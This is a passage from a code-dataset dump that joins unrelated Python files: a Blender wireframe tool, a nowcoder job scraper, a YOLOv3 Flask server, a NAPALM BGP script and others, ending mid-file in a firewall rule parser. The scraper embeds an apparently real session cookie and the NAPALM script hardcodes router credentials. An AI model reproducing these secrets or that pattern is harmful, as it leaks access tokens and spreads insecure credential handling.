self.wireframe_objects:\r\n object = bpy.data.objects[object_name]\r\n modifier = object.modifiers[self.wireframe_objects[object_name][\"modifier\"]]\r\n self.wireframe_objects[object_name][\"show_viewport\"] = modifier.show_viewport\r\n self.wireframe_objects[object_name][\"thickness\"] = modifier.thickness\r\n self.wireframe_objects[object_name][\"offset\"] = modifier.offset\r\n self.wireframe_objects[object_name][\"use_even_offset\"] = modifier.use_even_offset\r\n self.wireframe_objects[object_name][\"use_relative_offset\"] = modifier.use_relative_offset\r\n self.wireframe_objects[object_name][\"use_replace\"] = modifier.use_replace\r\n self.wireframe_objects[object_name][\"use_boundary\"] = modifier.use_boundary\r\n self.wireframe_objects[object_name][\"use_crease\"] = modifier.use_crease\r\n\r\n def modal(self, context, event):\r\n divisor = 10000 * self.modal_scale if event.shift else 100000000000 if event.ctrl else 1000 * self.modal_scale\r\n divisor_profile = 500 * self.modal_scale if event.ctrl else 100000000000\r\n offset_x = event.mouse_region_x - self.last_mouse_x\r\n thickness_offset = offset_x / divisor / get_dpi_factor()\r\n offset = offset_x / divisor_profile / get_dpi_factor()\r\n\r\n context.area.header_text_set(\"Hardops Wireframe: B : use_boundary - {} C : use_crease - {} Q : use_even_offset - {} W : use_relative_offset - {}\".format(self.active_wireframe_modifier.use_boundary, self.active_wireframe_modifier.use_crease, self.active_wireframe_modifier.use_even_offset, self.active_wireframe_modifier.use_relative_offset))\r\n\r\n for object_name in self.wireframe_objects:\r\n object = bpy.data.objects[object_name]\r\n modifier = object.modifiers[self.wireframe_objects[object_name][\"modifier\"]]\r\n\r\n modifier.thickness = modifier.thickness - thickness_offset\r\n\r\n if event.ctrl:\r\n modifier.offset = modifier.offset - offset\r\n\r\n if event.type == \"Q\" and event.value == \"PRESS\":\r\n modifier.use_even_offset = not modifier.use_even_offset\r\n if event.type == \"W\" and event.value == \"PRESS\":\r\n modifier.use_relative_offset = not modifier.use_relative_offset\r\n if event.type == \"E\" and event.value == \"PRESS\":\r\n modifier.use_replace = not modifier.use_replace\r\n if event.type == \"B\" and event.value == \"PRESS\":\r\n modifier.use_boundary = not modifier.use_boundary\r\n if event.type == \"C\" and event.value == \"PRESS\":\r\n modifier.use_crease = not modifier.use_crease\r\n\r\n if event.type == \"H\" and event.value == \"PRESS\":\r\n bpy.context.space_data.show_gizmo_navigate = True\r\n get_preferences().hops_modal_help = not get_preferences().hops_modal_help\r\n\r\n if event.type in (\"ESC\", \"RIGHTMOUSE\"):\r\n self.restore()\r\n context.area.header_text_set(text=None)\r\n bpy.types.SpaceView3D.draw_handler_remove(self.draw_handler, \"WINDOW\")\r\n return {'CANCELLED'}\r\n if event.type in (\"SPACE\", \"LEFTMOUSE\"):\r\n context.area.header_text_set(text=None)\r\n bpy.types.SpaceView3D.draw_handler_remove(self.draw_handler, \"WINDOW\")\r\n return {'FINISHED'}\r\n\r\n self.last_mouse_x = event.mouse_region_x\r\n return {'RUNNING_MODAL'}\r\n\r\n def restore(self):\r\n for object_name in self.wireframe_objects:\r\n object = bpy.data.objects[object_name]\r\n if \"added_modifier\" in self.wireframe_objects[object_name]:\r\n object.modifiers.remove(object.modifiers[self.wireframe_objects[object_name][\"modifier\"]])\r\n else:\r\n modifier = object.modifiers[self.wireframe_objects[object_name][\"modifier\"]]\r\n modifier.show_viewport = self.wireframe_objects[object_name][\"show_viewport\"]\r\n modifier.thickness = self.wireframe_objects[object_name][\"thickness\"]\r\n modifier.offset = self.wireframe_objects[object_name][\"offset\"]\r\n modifier.use_even_offset = self.wireframe_objects[object_name][\"use_even_offset\"]\r\n modifier.use_relative_offset = self.wireframe_objects[object_name][\"use_relative_offset\"]\r\n modifier.use_replace = self.wireframe_objects[object_name][\"use_replace\"]\r\n modifier.use_boundary = self.wireframe_objects[object_name][\"use_boundary\"]\r\n modifier.use_crease = self.wireframe_objects[object_name][\"use_crease\"]\r\n\r\n def draw_ui(self, context):\r\n x, y = self.start_mouse_position\r\n object = context.active_object\r\n\r\n set_drawing_dpi(get_dpi())\r\n factor = get_dpi_factor()\r\n\r\n color_text1 = Hops_text_color()\r\n color_text2 = get_preferences().Hops_hud_help_color\r\n color_border = Hops_border_color()\r\n color_border2 = Hops_border2_color()\r\n\r\n offset = 5\r\n\r\n l1 = (-1, 23, 4, 92)\r\n l2 = (94, 23, 4, 184)\r\n l3 = (186, 23, 4, 280)\r\n\r\n vertices = (\r\n (x + (l1[0] - offset) * factor, y + l1[1] * factor), (x + l1[0] * factor, y + l1[2] * factor), (x + (l1[3] - offset) * factor, y + l1[1] * factor), (x + l1[3] * factor, y + l1[2] * factor),\r\n (x + (l2[0] - offset) * factor, y + l2[1] * factor), (x + l2[0] * factor, y + l2[2] * factor), (x + (l2[3] - offset) * factor, y + l2[1] * factor), (x + l2[3] * factor, y + l2[2] * factor),\r\n (x + (l3[0] - offset) * factor, y + l3[1] * factor), (x + l3[0] * factor, y + l3[2] * factor), (x + (l3[3] - offset) * factor, y + l3[1] * factor), (x + l3[3] * factor, y + l3[2] * factor))\r\n\r\n l1 = (l1[0] - 15, l1[1], l1[2], l1[0] - 6)\r\n vertices2 = (\r\n (x + (l1[0] - offset) * factor, y + l1[1] * factor), (x + l1[0] * factor, y + l1[2] * factor), (x + (l1[3] - offset) * factor, y + l1[1] * factor), (x + l1[3] * factor, y + l1[2] * factor))\r\n\r\n indices = (\r\n (0, 1, 2), (1, 2, 3), (4, 5, 6), (5, 6, 7), (8, 9, 10), (9, 10, 11), (12, 13, 14), (13, 14, 15))\r\n\r\n shader = gpu.shader.from_builtin('2D_UNIFORM_COLOR')\r\n batch = batch_for_shader(shader, 'TRIS', {\"pos\": vertices}, indices=indices)\r\n\r\n shader.bind()\r\n shader.uniform_float(\"color\", get_preferences().Hops_hud_color)\r\n glEnable(GL_BLEND)\r\n batch.draw(shader)\r\n glDisable(GL_BLEND)\r\n\r\n shader2 = gpu.shader.from_builtin('2D_UNIFORM_COLOR')\r\n batch2 = batch_for_shader(shader2, 'TRIS', {\"pos\": vertices2}, indices=indices)\r\n shader2.bind()\r\n shader2.uniform_float(\"color\", get_preferences().Hops_hud_help_color)\r\n\r\n glEnable(GL_BLEND)\r\n batch2.draw(shader2)\r\n glDisable(GL_BLEND)\r\n\r\n draw_text(\"Thick: {:.3f}\".format(self.active_wireframe_modifier.thickness),\r\n x + 15 * factor, y + 9 * factor, size=12, color=get_preferences().Hops_hud_text_color)\r\n\r\n draw_text(\"Offset: {:.3f}\".format(math.degrees(self.active_wireframe_modifier.offset)),\r\n x + 100 * factor, y + 9 * factor, size=12, color=get_preferences().Hops_hud_text_color)\r\n\r\n draw_text(\"Replace: {}\".format(self.active_wireframe_modifier.use_replace),\r\n x + 190 * factor, y + 9 * factor, size=12, color=get_preferences().Hops_hud_text_color)\r\n\r\n self.draw_help(context, x, y, factor)\r\n\r\n def draw_help(self, context, x, y, factor):\r\n\r\n # color_text1 = Hops_text_color()\r\n color_text2 = get_preferences().Hops_hud_help_color\r\n # color_border = Hops_border_color()\r\n # color_border2 = Hops_border2_color()\r\n\r\n if get_preferences().hops_modal_help:\r\n\r\n draw_text(\" move - set thickness\",\r\n x + 45 * factor, y - 14 * factor, size=11, color=color_text2)\r\n\r\n draw_text(\" ctrl - set offset\",\r\n x + 45 * factor, y - 26 * factor, size=11, color=color_text2)\r\n\r\n draw_text(\" Q - use_even_offset\",\r\n x + 45 * factor, y - 38 * factor, size=11, color=color_text2)\r\n\r\n draw_text(\" W - use_relative_offset\",\r\n x + 45 * factor, y - 50 * factor, size=11, color=color_text2)\r\n\r\n draw_text(\" E - use_replace\",\r\n x + 45 * factor, y - 62 * factor, size=11, color=color_text2)\r\n\r\n draw_text(\" C - use_crease\",\r\n x + 45 * factor, y - 74 * factor, size=11, color=color_text2)\r\n\r\n draw_text(\" B - use_boundary\",\r\n x + 45 * factor, y - 86 * factor, size=11, color=color_text2)\r\n\r\n draw_text(\" H - Show/Hide Help\",\r\n x + 45 * factor, y - 98 * factor, size=11, color=color_text2)\r\n\r\n else:\r\n draw_text(\" H - Show/Hide Help\",\r\n x + 45 * factor, y - 14 * factor, size=11, color=color_text2)\r\n","sub_path":"All_In_One/addons/HOps/operators/modifiers/wireframe.py","file_name":"wireframe.py","file_ext":"py","file_size_in_byte":11784,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"384258843","text":"import re\nimport bs4\nimport urllib.request,urllib.error\nimport xlwt\nimport requests\nimport sqlite3\nfrom bs4 import BeautifulSoup\n\n#爬!!!\ndef getdate(page, baseurl,path):\n book = xlwt.Workbook(encoding=\"utf-8\", style_compression=0)\n sheet = book.add_sheet('niukewang', cell_overwrite_ok=True)\n col = (\"position\", \"company\", \"location\", \"release_time\", \"processing_rate\", 'salary')\n data_position_list = []\n data_company_list = []\n data_location_list = []\n data_salary_list = []\n data_processing_rate_list = []\n data_release_time_list = []\n for i in range(0, 6):#打印头部\n sheet.write(0, i, col[i])\n for i in range(1, int(page)):\n idex = i-1\n url = baseurl + str(i)\n html = askURl(url)\n # 解析\n soup = BeautifulSoup(html, \"html.parser\")\n position = soup.find_all('a', class_=\"reco-job-title\")\n company = soup.find_all('div', class_=\"reco-job-com\")\n location = soup.find_all('span', class_=\"nk-txt-ellipsis js-nc-title-tips job-address\")\n salary = soup.find_all('div', class_=\"reco-job-info\")\n release_time = soup.find_all('span', string=re.compile('前'))\n processing_rate = soup.find_all('span', class_=\"intern_center js-nc-title-tips\")\n for j in range(0, len(position)):\n data_position_list.append(position[j].string)\n\n for j in range(0, len(company)):\n data_company_list.append(company[j].a.string)\n\n for j in range(0, len(location)):\n data_location_list.append(location[j].text)\n\n for j in range(0, len(salary)):\n data_salary_list.append(salary[j].div.contents[3].contents[0].next_sibling)\n\n for j in range(0, len(release_time)):\n data_release_time_list.append(release_time[j].string)\n\n for j in range(0, len(processing_rate)):\n data_processing_rate_list.append(processing_rate[j].string)\n\n for j in range(0, len(data_position_list)):\n sheet.write(j + 1 + idex * 30, 0, data_position_list[j])\n\n for j in range(0, len(data_company_list)):\n sheet.write(j + 1 + idex * 30, 1, data_company_list[j])\n\n for j in range(0, len(data_location_list)):\n sheet.write(j + 1 + idex * 30, 2, data_location_list[j])\n\n for j in range(0, len(data_salary_list)):\n sheet.write(j + 1 + idex * 30, 5, data_salary_list[j])\n\n for j in range(0, len(data_release_time_list)):\n sheet.write(j + 1 + idex * 30, 3, data_release_time_list[j])\n\n for j in range(0, len(data_processing_rate_list)):\n sheet.write(j + 1 + idex * 30, 4, data_processing_rate_list[j])\n\n book.save(path)\n\n#获得url\ndef askURl(url):\n cookie = 'NOWCODERUID=18EF7842F941476219BE8C096512B1DC; NOWCODERCLINETID=DB66796ACDB79C031F7BDB8D0767A482; Hm_lvt_a808a1326b6c06c437de769d1b85b870=1603198410,1603206409; t=17FD8F801C07074D01059C7FF3DD0695; Hm_lpvt_a808a1326b6c06c437de769d1b85b870=1603244754; SERVERID=20209ceebe066108970cd5046744d133|1603256551|1603244144'\n head = {\n 'User-Agent': 'Mozilla / 5.0(Windows NT 10.0; WOW64) AppleWebKit / 537.36(KHTML, like Gecko) Chrome / 78.0.3904.108 Safari / 537.36',\n 'Connection': 'keep-alive',\n 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',\n 'Cookie': cookie\n}\n seesion = requests.session()\n request = seesion.get(url, headers=head)\n html = request.text\n return html\n\nif __name__==\"__main__\":\n path = r\"D:\\pythonProject2\\spider\\niukewang.xls\"\n url = \"https://www.nowcoder.com/intern/center?recruitType=1&page=\"\n page = input(\"你想看前几页?\")\n getdate(page, url, path)\n print('爬完了!!')\n\n","sub_path":"spider/demo1.py","file_name":"demo1.py","file_ext":"py","file_size_in_byte":3790,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"431749667","text":"import torch.utils.data.dataloader as loader\n\n\ndef collate_batch(batch: list) -> dict:\n \"\"\"Collate function for PyTorch DataLoader class.\n\n Converts a list of dicts to a dict of lists.\n \"\"\"\n return dict(zip(batch[0], zip(*[d.values() for d in batch])))\n\n\nclass TorchCollate:\n\n def __init__(self, entries=('images', 'labels')):\n self.entries = entries\n\n def __call__(self, batch):\n if not isinstance(batch[0], loader.collections.Mapping):\n raise TypeError('only mapping type allowed. Found {}'.format(type(batch[0])))\n\n new_batch = {}\n for key in batch[0]:\n if key in self.entries:\n new_batch[key] = loader.default_collate([d[key] for d in batch])\n else:\n new_batch[key] = [d[key] for d in batch]\n return new_batch\n","sub_path":"pymia/deeplearning/conversion.py","file_name":"conversion.py","file_ext":"py","file_size_in_byte":830,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"104848767","text":"#creating a list using list comprehension and mathematical formula for\n#golden ratio to fibbonacci sequence\nfib = [int((((1 + 5**0.5) / 2)**n - \n ((1 - 5**0.5) / 2)**n) / 5**0.5) for n in range(1, 999)]\n\n#selecting only even values lesser than 4 milion\nfib_2 = [i for i in fib if i < 4000000 and i % 2 ==0]\nprint(fib_2)\n\n#summing up all the values\nprint(sum(fib_2))\n","sub_path":"p_2.py","file_name":"p_2.py","file_ext":"py","file_size_in_byte":369,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"631999291","text":"# -*- coding: utf8 -*-\nfrom tags import CloseTag, OpenTag, SelfClosingTag\n\n\nclass Tokenizer:\n\n token_end = -1\n\n def __init__(self, input):\n self.input = input\n # points at the next unconsumed character of the input\n self.counter = 0\n\n def __next_char(self):\n self.counter += 1\n return self.input[self.counter]\n\n def next_token(self):\n try:\n char = self.input[self.counter]\n self.counter += 1\n if char == '&':\n return self.__entity()\n elif char != '<':\n return char\n elif self.input[self.counter] == '/':\n self.counter += 1\n return self.__close_tag()\n else:\n return self.__open_tag()\n except IndexError:\n return self.token_end\n\n def __entity(self):\n \"\"\"Return a token representing an HTML character entity.\n Precondition: self.counter points at the charcter after the &\n Postcondition: self.counter points at the character after the ;\n \"\"\"\n char = self.input[self.counter]\n entity = ['&']\n while char != ';':\n entity.append(char)\n char = self.__next_char()\n entity.append(';')\n self.counter += 1\n return ''.join(entity)\n\n def __open_tag(self):\n \"\"\"Return an open/close tag token.\n Precondition: self.counter points at the first character of\n the tag name\n Postcondition: self.counter points at the character after the \n \"\"\"\n char = self.input[self.counter]\n tag = []\n rest = []\n while char != '>' and char != ' ':\n tag.append(char)\n char = self.__next_char()\n while char != '>':\n rest.append(char)\n char = self.__next_char()\n if self.input[self.counter - 1] == '/':\n self.counter += 1\n return SelfClosingTag(''.join(tag), ''.join(rest))\n else:\n self.counter += 1\n return OpenTag(''.join(tag), ''.join(rest))\n\n def __close_tag(self):\n \"\"\"Return an open/close tag token.\n Precondition: self.counter points at the first character of\n the tag name\n Postcondition: self.counter points at the character after the \n \"\"\"\n char = self.input[self.counter]\n tag = []\n while char != '>':\n tag.append(char)\n char = self.__next_char()\n self.counter += 1\n return CloseTag(''.join(tag))\n","sub_path":"app/helpers/html/tokenizer.py","file_name":"tokenizer.py","file_ext":"py","file_size_in_byte":2558,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"107341029","text":"from docx import Document\n# from docx.shared import Inches\nimport os\n\n\ndef remove_meta(f):\n document = Document(f)\n core_properties = document.core_properties\n print(dir(core_properties))\n # meta_fields = [\"author\", \"category\", \"comments\", \"content_status\",\n # \"created\", \"identifier\", \"keywords\", \"language\",\n # \"revision\", \"subject\", \"title\", \"version\"]\n meta_fields = ['author', 'category', 'comments', 'content_status', 'created',\n 'identifier', 'keywords', 'language', 'last_modified_by',\n 'last_printed', 'modified', 'revision', 'subject', 'title', 'version']\n for meta_field in meta_fields:\n try:\n setattr(core_properties, meta_field, \"\")\n except Exception as e:\n print(e)\n\n document.save(f)\n\n\nif __name__ == '__main__':\n folder = \"/Users/k/Downloads\"\n\n # for file in os.listdir(folder):\n os.chdir(folder)\n for file in os.listdir(folder):\n try:\n if '.doc' in file and not file.startswith('$'):\n remove_meta(file)\n except Exception as e:\n print(e)\n","sub_path":"essay/remove-author.py","file_name":"remove-author.py","file_ext":"py","file_size_in_byte":1146,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"26707773","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\nProject Euler Problem 220\n=======================\n\nLet D[0] be the two-letter string \"Fa\". For n≥1, derive D[n] from D[n-1]\nby the string-rewriting rules:\n\n\"a\" → \"aRbFR\"\n\"b\" → \"LFaLb\"\n\nThus, D[0] = \"Fa\", D[1] = \"FaRbFR\", D[2] = \"FaRbFRRLFaLbFR\", and so on.\n\nThese strings can be interpreted as instructions to a computer graphics\nprogram, with \"F\" meaning \"draw forward one unit\", \"L\" meaning \"turn left\n90 degrees\", \"R\" meaning \"turn right 90 degrees\", and \"a\" and \"b\" being\nignored. The initial position of the computer cursor is (0,0), pointing up\ntowards (0,1).\n\nThen D[n] is an exotic drawing known as the Heighway Dragon of order n.\nFor example, D[10] is shown below; counting each \"F\" as one step, the\nhighlighted spot at (18,16) is the position reached after 500 steps.\n\n[Image: 220.gif]\n\nWhat is the position of the cursor after 10^12 steps in D[50]?\nGive your answer in the form x,y with no spaces.\n\n\"\"\"\n\n\ndef main():\n return \"unimplemented\"\n\n\nif __name__ == \"__main__\":\n import ntpath\n import time\n from common.shared_functions import verify_solution\n\n problem_number = int(ntpath.basename(__file__).replace(\"euler\", \"\").replace(\".py\", \"\"))\n print(\"Retrieving my answer to Euler Problem {0} ...\".format(problem_number))\n\n ts = time.time()\n my_answer = main()\n te = time.time()\n\n print(\"My answer: {1}\".format(problem_number, my_answer))\n\n verification_type = verify_solution(problem_number, my_answer)\n print(\"Verification: {0}\".format(verification_type.name))\n print(\"Took {0} seconds.\".format(te - ts))\n","sub_path":"project-euler/solvers/euler220.py","file_name":"euler220.py","file_ext":"py","file_size_in_byte":1611,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"623879659","text":"import json\nimport sys\nimport re\nimport argparse\n\n\ndef user_count_tsv(yt_cmt_tsv):\n with open(yt_cmt_tsv) as tsv:\n user_numbers = {int(re.sub('\\t.*\\n', '', line)) for line in tsv}\n return len(user_numbers)\n\n\ndef user_count_ngram(yt_cmt_tsv, txtfile):\n with open(yt_cmt_tsv) as tsv, open(txtfile) as txt:\n ngram_set = {re.sub('[^a-zA-z }]', ' ', ngram.rstrip())\n for ngram in txt}\n line_set = {line for line in tsv}\n ngram_cmt_set = {line for ngram in ngram_set\n for line in line_set if ngram in line}\n unique_ngram_user_count = len({re.sub('\\t.*\\n', '', ngram_cmt)\n for ngram_cmt in ngram_cmt_set})\n return unique_ngram_user_count\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"tsvfile\", help=\"The TSV file of which you \"\n \"want the amount of unique users who mentioned\"\n \"certain n-grams\", type=str)\n parser.add_argument(\"ngramfile\", help=\"The TXT file which contains \"\n \"n-grams about a certain subject\", type=str)\n\n args = parser.parse_args()\n unique_user_count = user_count_tsv(args.tsvfile)\n unique_ngram_user_count = user_count_ngram(args.tsvfile, args.ngramfile)\n print(\"Amount of unique users: {0}\".format(unique_user_count))\n print(\"Amount of unique users talking about n-grams in \"\n \"'{0}': {1}\".format(args.ngramfile, unique_ngram_user_count))\n print(\"Amount of unique users not talking about n-grams in \"\n \"'{0}': {1}\".format(args.ngramfile,\n unique_user_count - unique_ngram_user_count))\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"comment_analysis.py","file_name":"comment_analysis.py","file_ext":"py","file_size_in_byte":1746,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"235406825","text":"import json\nfrom napalm import get_network_driver\n\nbgp_list = ['192.168.255.71',\n '192.168.255.72'\n ]\n\nfor ip_address in bgp_list:\n print('Connecting to ' + str(ip_address))\n driver = get_network_driver('ios')\n iosv_router = driver(ip_address, 'miguel', 'cisco')\n iosv_router.open()\n bgp_neighbors = iosv_router.get_bgp_neighbors()\n print (json.dumps(bgp_neighbors, indent=4))\n iosv_router.close()","sub_path":"lab04/script5.py","file_name":"script5.py","file_ext":"py","file_size_in_byte":440,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"459849349","text":"import random\n\n\ndef wypisaniePlanszy(planszaGracza):\n for i in range(len(planszaGracza)):\n wiersz = \"\"\n for j in range(len(planszaGracza[i])):\n wiersz = wiersz + str(planszaGracza[i][j]) + \" \"\n print(wiersz)\n\n\ndef tworzenieTabelWynikow():\n wierszeGracza = [[], [], [], [], []]\n kolumnyGracza = [[], [], [], [], []]\n kK = []\n wK = []\n for i in range(3):\n kK.append([[], [], [], [], []])\n wK.append([[], [], [], [], []])\n\n\ndef tworzeniePlanszy():\n mozliweLiczby = []\n for i in range(1, 91):\n mozliweLiczby.append(i)\n planszaBingo90 = []\n for i in range(5):\n wiersz = []\n while len(wiersz) < 5:\n liczba = random.randint(1, 90)\n if liczba in mozliweLiczby:\n wiersz.append(liczba)\n mozliweLiczby.remove(liczba)\n planszaBingo90.append(wiersz)\n return planszaBingo90\n\n\ndef losowanieLiczby(liczby):\n wylosowana = False\n liczba = int(0)\n while not wylosowana:\n liczba = random.randint(1, 90)\n if liczba in liczby:\n liczby.remove(liczba)\n wylosowana = True\n return liczba, liczby\n\n\ndef sprawdzenieLiczby(kwota, liczba, stanKonta, planszaGracza, wierszeGracza, kolumnyGracza, wygrana):\n for i in range(len(planszaGracza)):\n for j in range(len(planszaGracza[i])):\n if liczba == planszaGracza[i][j]:\n print(\"Trafiles liczbe!\")\n print(\" \")\n if liczba not in wierszeGracza[j]:\n wierszeGracza[j].append(liczba)\n if liczba not in kolumnyGracza[i]:\n kolumnyGracza[i].append(liczba)\n\n if len(wierszeGracza[j]) == 5:\n print(\"BINGO! Wygrales \" + str(kwota*4))\n stanKonta = stanKonta + 4 * kwota\n wygrana = True\n break\n elif len(kolumnyGracza[i]) == 5:\n print(\"BINGO! Wygrales \" + str(kwota*4))\n stanKonta = stanKonta + 4 * kwota\n wygrana = True\n break\n return wygrana, stanKonta, wierszeGracza, kolumnyGracza\n\n\ndef sprawdzenieLiczbyKomputer(kwota, liczba, stanKonta, plansza, wiersze, kolumny, nr, wygrana):\n for i in range(len(plansza)):\n for j in range(len(plansza[i])):\n if liczba == plansza[i][j]:\n print(\"Komputer nr \" + str(nr) + \" trafil liczbe\")\n print(\" \")\n if liczba not in wiersze[nr][j]:\n wiersze[nr][j].append(liczba)\n if liczba not in kolumny[nr][i]:\n kolumny[nr][i].append(liczba)\n if len(wiersze[nr][j]) == 5:\n print(\"BINGO! Komputer nr \" + str(nr) + \" wygral! Przegrales \" + str(kwota))\n print(\"Jego plansza wygladala tak: \")\n print(plansza)\n stanKonta = stanKonta - kwota\n wygrana = True\n break\n elif len(kolumny[nr][i]) == 5:\n print(\"BINGO! Komputer nr \" + str(nr) + \" wygral! Przegrales \" + str(kwota))\n print(\"Jego plansza wygladala tak: \")\n print(plansza)\n stanKonta = stanKonta - kwota\n wygrana = True\n break\n return wygrana, stanKonta, wiersze, kolumny\n","sub_path":"bingo.py","file_name":"bingo.py","file_ext":"py","file_size_in_byte":3447,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"559762376","text":"import argparse, cv2, re, torch, numpy as np\n\nfrom torchvision.ops import nms\n\nfrom flask import Flask, request, jsonify\napp = Flask('yolov3')\nfrom io import BytesIO\nfrom PIL import Image\n\n\ndef preprocess(img:np.array, input_size, device, dtype):\n h, w, _ = img.shape\n if h * input_size[1] > w * input_size[0]:\n img = np.pad(img, [(0, 0), (0, int(h * input_size[1] / input_size[0]) - w), (0, 0)], mode='constant')\n else:\n img = np.pad(img, [(0, int(w * input_size[0] / input_size[1]) - h), (0, 0), (0, 0)], mode='constant')\n new_shape = img.shape[:-1]\n img = cv2.resize(img, input_size[::-1]).transpose([2, 0, 1]) / 255. # normalize\n img = torch.from_numpy(img).type(dtype).to(device)\n return img, new_shape\n\n\ndef infer(model, image:torch.Tensor, confidence_threshold:float, iou_threshold:float):\n \"\"\"\n image:\n value range from 0 to 1,\n shape [C, H, W]\n \"\"\"\n with torch.no_grad():\n # outputs range from 0 to 1\n ret = model(image[None])\n box, obj_prob = ret[:2] # box:(xc, yc, w, h), obj_score\n box_wh = box[:, 2:] / 2\n box_xy = box[:, :2]\n box = torch.cat([box_xy - box_wh, box_xy + box_wh], 1) # left, top, right, bottom\n keep = torch.where(obj_prob > confidence_threshold)[0]\n obj_prob = obj_prob[keep]\n keep = keep[nms(box[keep], obj_prob, iou_threshold)]\n return box[keep], ret[2][keep] if len(ret) > 2 else obj_prob # class_conf or obj_score\n\n\ndef postprocess(box:torch.Tensor, img_shape):\n box[:, [0, 2]] *= img_shape[1]\n box[:, [1, 3]] *= img_shape[0]\n return box.int().tolist()\n\n\n@app.route('/det', methods=['POST'])\ndef det():\n f = request.files['img']\n imb = BytesIO(f.read())\n img = Image.open(imb)\n img = np.array(img)\n\n with torch.no_grad():\n img, new_shape = preprocess(img, img_size, device, torch.float16)\n box, pred = infer(model, img, args.conf_thres, args.nms_thres)\n detections = postprocess(box, new_shape)\n ret = {}\n if detections is not None:\n for p, (l, t, r, b) in zip(pred, box):\n class_prob, class_idx = p.max(0)\n class_idx = int(class_idx)\n if class_idx != 0 and class_idx != 25 and class_idx != 27 and class_idx != 29:\n continue\n ret.setdefault('dets', []).append(\n {'label':classes[class_idx],\n 'conf':class_prob.item(),\n 'x1y1x2y2':[l.item(), t.item(), r.item(), b.item()]\n })\n return jsonify(ret)\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('--model', '-m', type=str, default='weights/half_h416_w416.pt', help='path to jit model file')\n parser.add_argument('--conf-thres', type=float, default=0.3, help='object confidence threshold')\n parser.add_argument('--nms-thres', type=float, default=0.5, help='iou threshold for non-maximum suppression')\n parser.add_argument(\"--port\", default=6666)\n args = parser.parse_args()\n model = torch.jit.load(args.model).half().cuda().eval()\n img_size = (416, 416)\n device = 'cuda'\n classes = ['person','bicycle','car','motorcycle','airplane','bus','train',\n 'truck','boat','traffic light','fire hydrant','stop sign',\n 'parking meter','bench','bird','cat','dog','horse','sheep',\n 'cow','elephant','bear','zebra','giraffe','backpack','umbrella',\n 'handbag','tie','suitcase','frisbee','skis','snowboard',\n 'sports ball','kite','baseball bat','baseball glove',\n 'skateboard','surfboard','tennis racket','bottle','wine glass',\n 'cup','fork','knife','spoon','bowl','banana','apple','sandwich',\n 'orange','broccoli','carrot','hot dog','pizza','donut','cake',\n 'chair','couch','potted plant','bed','dining table','toilet',\n 'tv','laptop','mouse','remote','keyboard','cell phone',\n 'microwave','oven','toaster','sink','refrigerator','book',\n 'clock','vase','scissors','teddy bear','hair drier','toothbrush']\n app.run(host=\"0.0.0.0\", debug=True, port=args.port)\n","sub_path":"serving.py","file_name":"serving.py","file_ext":"py","file_size_in_byte":4187,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"36544305","text":"import sys\nimport time\n\nrule_file_name=sys.argv[1]\npkt_file_name=sys.argv[2]\n\nrule_dict={}\n\nclass Rule:\n def __init__(self):\n self.num = \"\"\n self.src_ip_address = \"\"\n self.dst_ip_address = \"\"\n self.src_port_range=\"\"\n self.dst_port_range=\"\"\n self.protocol=\"\"\n self.data=\"\"\n\n def set(self,num,src_ip_address,dst_ip_address,src_port_range,dst_port_range,protocol,data):\n self.num=num\n self.src_ip_address=src_ip_address\n self.dst_ip_address=dst_ip_address\n self.src_port_range=src_port_range\n self.dst_port_range=dst_port_range\n self.protocol=protocol\n self.data=data\n\n\n\nrule_count=0\nvalid_rule_count=0\n\nfd=open(rule_file_name,'r')\nlines=fd.readlines()\n\n\nfor l in lines:\n #print(\"l: \",l)\n\n if(l==\"BEGIN\\n\"):\n #print(\"beg: \",l)\n rule_count+=1\n flag=True\n num = \"\"\n src_ip_address = \"\"\n dst_ip_address = \"\"\n src_port_range=\"\"\n dst_port_range=\"\"\n protocol=\"\"\n data=\"\"\n continue\n\n elif(l==\"END\\n\"):\n if flag==True:\n #print(\"num: \",num)\n #print(\"src_ip_address: \",src_ip_address)\n valid_rule_count+=1\n r=Rule()\n r.set(num,src_ip_address,dst_ip_address,src_port_range,dst_port_range,protocol,data)\n rule_dict[num]=r\n continue\n\n\n ind=l.index(\":\")\n ind2=ind\n ind+=2\n y=l[ind:len(l)-1]\n #print(\"y: \",y,\":: \",end=\"\")\n x=l[:ind2]\n #print(\"x: \",x)\n # print(x)\n # print(y)\n # print(\"\")\n\n if x==\"NUM\":\n #print(\"NUMMM22: \",y)\n num=y\n\n elif x==\"SRC IP ADDR\":\n src_ip_address=y\n\n elif x==\"DEST IP ADDR\":\n dst_ip_address=y\n\n elif x==\"SRC PORT\":\n src_port_range=y\n ii=src_port_range.index(\"-\")\n p1=src_port_range[:ii]\n p2=src_port_range[ii+1:]\n p1=int(p1)\n p2=int(p2)\n\n if (p1==0 and p2==0):\n continue\n\n if ((p1<1 or p1>65535) or (p2<1 or p2>65535)):\n flag=False\n if p1>p2:\n flag=False\n\n\n elif x==\"DEST PORT\":\n dst_port_range=y\n ii=dst_port_range.index(\"-\")\n p1=dst_port_range[:ii]\n p2=dst_port_range[ii+1:]\n p1=int(p1)\n p2=int(p2)\n\n if p1==0 and p2==0:\n continue\n\n if ((p1<1 or 